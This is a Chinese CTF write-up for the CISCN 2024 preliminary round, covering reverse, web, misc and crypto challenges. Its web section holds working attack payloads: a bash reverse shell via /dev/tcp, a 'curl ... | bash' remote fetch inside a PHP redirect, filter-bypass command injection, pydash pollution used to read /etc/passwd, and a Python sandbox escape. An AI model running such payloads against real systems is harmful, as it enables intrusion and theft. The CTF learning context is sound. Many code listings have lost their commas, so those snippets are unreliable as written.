decrypted_flag = decrypt_flag()
print(decrypted_flag)

# flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

得到flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

gdb_debug

无壳,x64elf程序

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


main

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  void *v5; // rsp
  size_t v6; // rax
  size_t v7; // rax
  size_t v8; // rax
  size_t v9; // rax
  void *v10; // rsp
  size_t v11; // rax
  char v12; // bl
  size_t v13; // rax
  size_t v14; // rax
  void *v15; // rsp
  size_t v16; // rax
  __int64 v17[10]; // [rsp+0h] [rbp-130h] BYREF
  unsigned __int8 v18; // [rsp+55h] [rbp-DBh]
  char v19; // [rsp+56h] [rbp-DAh]
  char v20; // [rsp+57h] [rbp-D9h]
  unsigned __int64 ii; // [rsp+58h] [rbp-D8h]
  unsigned __int64 n; // [rsp+60h] [rbp-D0h]
  unsigned __int64 m; // [rsp+68h] [rbp-C8h]
  size_t k; // [rsp+70h] [rbp-C0h]
  unsigned __int64 j; // [rsp+78h] [rbp-B8h]
  unsigned __int64 i; // [rsp+80h] [rbp-B0h]
  size_t v27; // [rsp+88h] [rbp-A8h]
  __int64 *v28; // [rsp+90h] [rbp-A0h]
  void *ptr; // [rsp+98h] [rbp-98h]
  size_t v30; // [rsp+A0h] [rbp-90h]
  __int64 *v31; // [rsp+A8h] [rbp-88h]
  char *v32; // [rsp+B0h] [rbp-80h]
  char *s2; // [rsp+B8h] [rbp-78h]
  size_t v34; // [rsp+C0h] [rbp-70h]
  char *s1; // [rsp+C8h] [rbp-68h]
  char s[40]; // [rsp+D0h] [rbp-60h] BYREF
  unsigned __int64 v37; // [rsp+F8h] [rbp-38h]

  v37 = __readfsqword(0x28u);
  v3 = time(0LL);
  srand(v3 & 0xF0000000);
  puts("Please enter the flag string (ensuring the format is 'flag{}' and the total length is 38 characters).");
  __isoc99_scanf("%39s", s);
  if ( strlen(s) == '&' && s[0] == 'f' && s[1] == 'l' && s[2] == 'a' && s[3] == 'g' && s[4] == '{' && s[37] == '}' )
  {
    v27 = strlen(s);                            // 38
    v17[8] = v27 + 1;
    v17[9] = 0LL;
    v17[6] = v27 + 1;
    v17[7] = 0LL;
    v5 = alloca(16 * ((v27 + 16) / 0x10));
    v28 = v17;
    for ( i = 0LL; ; ++i )
    {
      v6 = strlen(s);
      if ( i >= v6 )
        break;
      v20 = rand();
      *((_BYTE *)v28 + i) = s[i] ^ v20;
    }
    v7 = strlen(s);
    ptr = malloc(v7);
    if ( ptr )
    {
      for ( j = 0LL; ; ++j )
      {
        v8 = strlen(s);
        if ( j >= v8 )
          break;
        *((_BYTE *)ptr + j) = j;
      }
      for ( k = strlen(s) - 1; k; --k )
      {
        v18 = rand() % (k + 1);
        v19 = *((_BYTE *)ptr + k);
        *((_BYTE *)ptr + k) = *((_BYTE *)ptr + v18);
        *((_BYTE *)ptr + v18) = v19;
      }
      v9 = strlen(s) + 1;
      v30 = v9 - 1;
      v17[4] = v9;
      v17[5] = 0LL;
      v17[2] = v9;
      v17[3] = 0LL;
      v10 = alloca(16 * ((v9 + 15) / 0x10));
      v31 = v17;
      for ( m = 0LL; ; ++m )
      {
        v11 = strlen(s);
        if ( m >= v11 )
          break;
        *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));// v28[ptr[m]]
      }
      for ( n = 0LL; ; ++n )
      {
        v13 = strlen(s);
        if ( n >= v13 )
          break;
        v12 = *((_BYTE *)v31 + n);
        *((_BYTE *)v31 + n) = rand() ^ v12;
      }
      putchar(10);
      v32 = byte_560F8AE010A0;
      s2 = "congratulationstoyoucongratulationstoy";
      v14 = strlen(byte_560F8AE010A0) + 1;
      v34 = v14 - 1;
      v17[0] = v14;
      v17[1] = 0LL;
      v15 = alloca(16 * ((v14 + 15) / 0x10));
      s1 = (char *)v17;
      for ( ii = 0LL; ; ++ii )
      {
        v16 = strlen(v32);
        if ( ii >= v16 )
          break;
        s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
      }
      if ( !strcmp(s1, s2) )
        puts("Correct.");
      else
        puts("Error. ");
      free(ptr);
      return 0LL;
    }
    else
    {
      fwrite("Memory allocation failed.n"1uLL, 0x1AuLL, stderr);
      return 1LL;
    }
  }
  else
  {
    puts("The input format is incorrect or the length does not meet the requirements.");
    return 1LL;
  }
}

动调可以发现rand1rand3数组是定值,ptr数组映射后也是定值。写出逆向脚本

enc = list('congratulationstoyoucongratulationstoy')
list_55C3994010A0 = [0xBF0xD70x2E0xDA0xEE0xA80x1A0x100x830x730xAC0xF10x060xBE0xAD0x880x040xD70x120xFE0xB50xE20x610xB70x3D0x070x4A0xE80x960xA20x9D0x4D0xBC0x810x8C0xE90x880x780x000x00]


# a = [0xBF, 0x63, 0x79, 0xDA, 0xBC, 0x27, 0xB9, 0x86, 0x9B, 0x28, 0x04, 0xC1, 0x3C, 0x9E, 0x48, 0x03, 0xB2, 0xC7, 0x05, 0xAA, 0xAD, 0x4B, 0x1B, 0x3F, 0xF7, 0xCE, 0xBC, 0x5F, 0x79, 0x9C, 0x45, 0x46,0x87, 0xB4, 0xD2, 0x18, 0xC6, 0x19]
# input = list('flag{188cba3a5c0fbb2250b5a2e590c391ce}')
# rand1 = []
# for i in range(38):
#     rand1.append(a[i] ^ ord(input[i]))
# print(rand1)
rand1 = [217152418919922129190248741012429317143512121651031521591264393194175142587616511737180141227123163100]

# rand() % (k + 1);
v18 = [0x210x000x0a0x000x200x1f0x0a0x1d0x090x180x1a0x0b0x140x18,
       0x150x030x0c0x0a0x0d0x020x0f0x040x0d0x0a0x080x030x030x06,
       0x000x040x010x010x050x040x000x000x01]
ptr = [
    0x120x0E0x1B0x1E0x110x050x070x010x100x220x060x170x160x080x190x130x040x0F0x020x0D0x250x0C0x030x150x1C0x140x0B0x1A0x180x090x1D0x230x1F0x200x240x0A0x000x21
]

# a = [0xDB, 0xE2, 0x1D, 0xB9, 0xCE, 0xCF, 0x34, 0x65, 0xBF, 0x41, 0xD8, 0xCB, 0x3F, 0xD2, 0xDB, 0xAB, 0x6B, 0xA8, 0x7D, 0x86, 0xD6, 0xD5, 0x0F, 0xDD, 0x4A, 0x67, 0x38, 0x96, 0xA9, 0xC2, 0xB1, 0x24, 0xD2, 0xE8, 0xFE, 0x99, 0xE7, 0x5E]
# input = [0x05, 0x48, 0x5F, 0x45, 0xC7, 0xC7, 0x86, 0x63, 0xB2, 0xD2, 0xB9, 0x3F, 0x1B, 0x9B, 0xCE, 0xAA, 0xBC, 0x03, 0x79, 0x9E, 0x19, 0x3C, 0xDA, 0x4B, 0x79, 0xAD, 0xC1, 0xBC, 0xF7, 0x28, 0x9C, 0x18, 0x46, 0x87, 0xC6, 0x04, 0xBF, 0xB4]
# rand3 = []
# for i in range(38):
#     rand3.append(a[i] ^ input[i])
# print(rand3)
rand3 = [222170662529817861314797244367321121517142420723321315051202249429423445601481115615788234]


v31 = []
for i in range(38):
    v31.append(ord(enc[i]) ^ list_55C3994010A0[i])
print(v31)

v12 = []
for i in range(38):
    v12.append(v31[i] ^ rand3[i])
print(v12)

v28 = [0] * 38
for i in range(38):
    v28[ptr[i]] = v12[i]
print(v28)

for i in range(38):
    print(chr(v28[i] ^ rand1[i]), end="")

这里运行完结果是flag{×8bace5989660ee38f1fd980a4b4fbcd},差一位,爆破一下得到flag{78bace5989660ee38f1fd980a4b4fbcd}

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


WEB

Simple_php

源码如下

<?php
ini_set('open_basedir''/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|?|wget|'|"|id|whoami/i', $cmd)) {
         system($cmd);
  }
}


show_source(__FILE__);
?>

进行审计分析,发现可以通过%0a进行绕过RCE操作,可测试payload

l%0as
d%0air

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


这里找了一圈,发现最终flag位置在数据库当中,这里通过substr函数进行截断第一个字符。这里测试了base64未果

cmd=php -r system(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773656c656374202a2066726f6d205048505f434d532e463161675f5365335265373b27603b,1)));

//解码为:
echo `mysql -u root -p'root' -e 'select * from PHP_CMS.F1ag_Se3Re7;'`;

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


easycms

代码审计

后面放了一处提示:

//简单的cms,可以扫扫看?
//提示1: /flag.php: 

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}

//提示2:github找一下源码?
//需要做一个请求访问本地127.0.0.1

审计下发的源码,先丢到seay自动审计一波


跟进源码,发现一处解析二维码的功能点index.php?s=api&c=api&m=qrcode&thumb=,测试发现可以接收

index.php?s=api&c=api&m=qrcode&text=1&thumb=http://VPS:2234/index1.php&size=10&level=1

进行触发请求读取服务器的php文件解析后,触发302跳转执行flag.php命令执行成功反弹shell

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


这里index1.php 写一个反弹shell的代码

bash -i >& /dev/tcp/IP/3457 0>&1

监听3457端口,回弹读取/readflag成功获取flag

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


sanic(未解)

提示:sanic能有什么问题呢?

访问/src读取到源码

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app 
= Sanic(__name__)
app.static("/static/""./static/")
Session(app)


@app.route('/', methods=['GET''POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET''POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

发现是基于pydash的污染,可进行触发open(__file__).read()进行文件读取

第一个点,这里user.lower() == 'adm;n',本地调试后,发现可用字符进行绕过,构造

Cookie: user="adm73n"  //ASCII字符绕过

读取到session值,这里将其替换到Cookie中

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


参考:pydash.utilities — pydash 4.3.0 documentation

提取出的正则表达式,题目过滤了_.

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup

访问/admin进行构造触发Pollute()污染,构造payload如下

{"key":"__init__\\.__globals__\\.__file__","value":"/etc/passwd"}

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


最后访问/src接口成功读取passwd文件,这里测试了一圈。发现常见路径试了没找到flag位置,未解,可能是通过static路由读取到flag位置

/home/ctf/.bash_history
/root/flag
/flag
/proc/1/environ
/proc/fd/self/cmdline

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


easycms_revenge

第二天放的题,源码做了改变,修复了函数存在的漏洞。

这里继续进行审计,发现可以延续之前的思路。正常解析没有问题,但会提示需要解析png文件

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


解析发现存在限制

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


这里尝试添加GIF文件头,payload如下

<?php
echo "GIF89a"
$url = "http://127.0.0.1/flag.php?cmd=curl http://VPS:2333/1.txt|bash";

header('Location: ' . $urltrue, 302);
echo "GIF89a";
echo "GIF89a";
exit();
?>

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


回弹后,访问/readflag读取flag即可

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


mossfern

提示:小明最近搭建了一个学习 Python 的网站,他上线了一个 Demo。据说提供了很火很安全的在线执行功能,你能帮他测测看吗?

下载附件发现是通过python编写的,进行做一个调整。源码如下

runner.py

from sys import exit
from builtins import print
from dis import dis
from builtins import str
from io import StringIO
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from time import time
import os

def source_simple_check(source):
    """
    检查源码中是否包含危险字符串,使用纯字符串查找
    :param source: 源码
    :return: None
    """

    
    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("不允许使用非 ASCII 字符")
        exit()

    for i in ["__""getattr""exit"]:
        if i in source.lower():
            print(i)
            exit()

def block_wrapper():
    """
    使用 sys.audithook 检查运行进程,禁止进行危险操作
    :return: None
    """

    
    def audit(event, args):
        for i in ["marshal""__new__""process""os""sys""interpreter""cpython""open""compile""gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1# 会直接将python程序终止,之后的所有代码都不会继续执行。
    return audit

def source_opcode_checker(code):
    """
    检查源码的字节码方面,禁止加载方法和全局变量
    :param code: 源码
    :return: None
    """


    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL""IMPORT_NAME""LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint""randrange""print""seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL""IMPORT_NAME""LOAD_METHOD"if x in str(line)]))
            exit()

if __name__ == "__main__":
    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt""r").read()
    source_simple_check(source) # 函数用于设置审计钩子,监控运行进程,当事件或参数中包含特定危险关键词(如 "marshal", "new", "process", "os"等)时
    source_opcode_checker(source) # 函数用于检查源码的字节码,禁止加载特定的方法和全局变量,以防止执行恶意代码
    code = compile(source, "<sandbox>""exec")
    addaudithook(block_wrapper()) 
    outputIO = StringIO()
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__"None,
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print"print
        }, None)
    output = outputIO.getvalue()

    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
        print("bad code-operation why still happened ah?")
    else:
        print(output)

main.py

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py""r", encoding="UTF-8").read()
flag = open("/flag""r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
    id = str(uuid1())
    try:
        # 生成一个基于时间的唯一 ID。
# 获取 POST 请求中的 JSON 数据,从中获取键为 "code" 的值作为用户提交的 Python 代码。
# 将用户提交的代码写入到以 ID 命名的 .py 文件中,同时替换其中的特殊字符串为之前读取的 flag 和 ID。
        data = request.json
        open(f"/app/uploads/{id}.py""w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
        open(f"/app/uploads/{id}.txt""w", encoding="UTF-8").write(data.get("code"""))
        run = subprocess.run( 
            ['python'f"/app/uploads/{id}.py"],
            # 使用 subprocess.run 执行用户提交的代码,限定执行时间为 3 秒,并捕获标准输出和错误输出。将执行结果和错误信息转换为字符串
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        print(result, error)
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result"f"{result}n{error}"
        })
    except:
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result""None"
        })


if __name__ == "__main__":
    app.run("0.0.0.0"5000)

这里饶了一圈,参考了一篇文章,考点是基于Python利用栈帧沙箱逃逸,通过栈帧对象进行逃逸处出globals,在字段co_consts读取到flag值

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


参考: https://xz.aliyun.com/t/13635

构造代码如下

def getflag():
    def f():
        yield g.gi_frame.f_back

    g = f()
    frame=[x for x in g][0]
    gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']  

    code = frame.f_back.f_back.f_back.f_code 

    gattr_dir = gattr.dir
    s  = gattr.str
    print(gattr_dir(code))

    for i in s(code.co_consts):
        print(i,end=",")

getflag()


## f_back(返回前一帧) 提取获取globals全局符号表,利用栈帧进行逃逸出沙箱
# ['_'+'_builtins_'+'_']  绕过过滤判断

# 读取到的code值为:
# ['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace']
# 代码不允许Ascci字符

放到代码处进行运行,得到flag,这里去除一下逗号

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


MISC

神秘文件

PART1:

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


mQPinNS6Xtm1JGJs

凯撒(Caesar)加密/解密

offset:10

part2:675efb

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


i13POMdzEAzHfy4dGS+vUA==

rc4 base64

PArt3:3-34

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


UGFSdDQ6NmYtNDA=

PaRt4:6f-40

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup

Vm1wR1UxRXhXWGhUV0d4WFlrZG9WMWxVUm1GWFJscHlWMjVrVmxKc2NIaFZiVFZQVkd4S2MxSnFVbGRXTTFKUVdWVmtVMDVyTVVWaGVqQTk=

pArt5:5f-90d

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


UGFyVDY6ZC0y

ParT6:d-2

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


HRSFIQp9ZwWvZj==

rot13

PART7=22b3

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup




c1GFSbd3Dg6BODbdl

cGFSdDg6ODdl

paRt8:87e

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup

cGFyVDk6ZGVl

parT9:dee

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


ZYWJbIYnFhq9

furry

维吉尼亚加密/解密

PARt10:9}

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


flag{e675efb3-346f-405f-90dd-222b387edee9}

火锅链

签到题

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


然后答7题就有flag

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


通风机

下载附件,是西门子的pci,用TEP 7 MicroWIN打开,发现现在格式错误

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


另存一个新的mwp文件,用winhex打开两个

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup



可见需要修复文件头,对照修复后打开通风机监控.mwp

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


在符号表找到base64,解密得到flag

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


盗版软件

下载附件,用rstudio打开 dmp文件,在 .ss 文件发现一个out.png 和一个exe

Pngstegslove打开,发现红通道有隐写

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


隐写了一个压缩包,但是有干扰数据,对干扰数据进行清除,写成压缩包,解压获得 .b 文件

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


.b 文件 base85解密后写成文件在沙箱里面检测出ip

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


dmp放进linux 改后缀为datagimp打开,调整一下看到域名

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


得到flag

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


Power_Trajectory_Diagram

下载附件拿到attachment.npz,是NumPy 保存的压缩数组文件。

存在如下数组

常规思路,遍历 trace_array,针对每个数组元素创建一个包含跟踪数据的绘图,其中还包括索引和输入数据。得到如下图片数据
import numpy as np
import matplotlib.pyplot as plt
import os

#加载NPZ文件
npzfile = np.load('./attachment.npz')
# 获取数组数据
index_array = npzfile['index']
input_array = npzfile['input']
trace_array = npzfile['trace']
# 创建存储图形的文件夹
os.makedirs('image', exist_ok=True)
# 绘制图形并保存
for i in range(len(trace_array)):
    plt.figure(figsize=(86))
    plt.plot(np.arange(len(trace_array[i])) + 1, trace_array[i])
    plt.xlabel('Index')
    plt.ylabel('trace')
    plt.title(f'{i + 1}')
    plt.text(0.50.5'Index: {}, Input: {}'.format(index_array[i], input_array[i]), fontsize=10, transform=plt.gca().transAxes)
    plt.grid(True)
    plt.savefig(f'./image/{i + 1}.png')
    plt.close()

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


找不同,每40个图片为一组。不同如下

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


每组有一个字符是正确的。全部提取出来得到flag

flag{_ciscn_2024_}

Crypto

OvO

下载得到task.sage,审计代码。

from Crypto.Util.number import *
from secret import flag

nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
    kk = getPrime(128)
    rr = kk + 2
    e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
    if gcd(e, phi) == 1:
        break
m = bytes_to_long(flag)
c = pow(m, e, n)

e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""

参考2021ciscnrsa这道题,也是差不多不过这里泄露的是p,给出的是n和高位p

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


通过多项式分析得到kken的关系,kk=e // n,直接套用sage脚本然后再加上分析的多项式得到高位p和低位p,把代码放到sage上面跑出p

P有了,q=n//p,然后根据65538 + (kk * p + rr * ((p+1) * (q+1)))可以得到einvert(e,phi(p-1)(q-1))得到d

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

古典密码

题目:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

先使用埃特巴什码转换,得到zmf7mmi4mzhhltk3ywqtztlmnzqzbgdiyja3lwnlndctnmuwmjgwngn9

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup

再解密base64得到fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

最后栅栏flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}


原文始发于微信公众号(ACT Team):第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup

版权声明:admin 发表于 2024年5月20日 上午12:02。
转载请注明:第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup | CTF导航

相关文章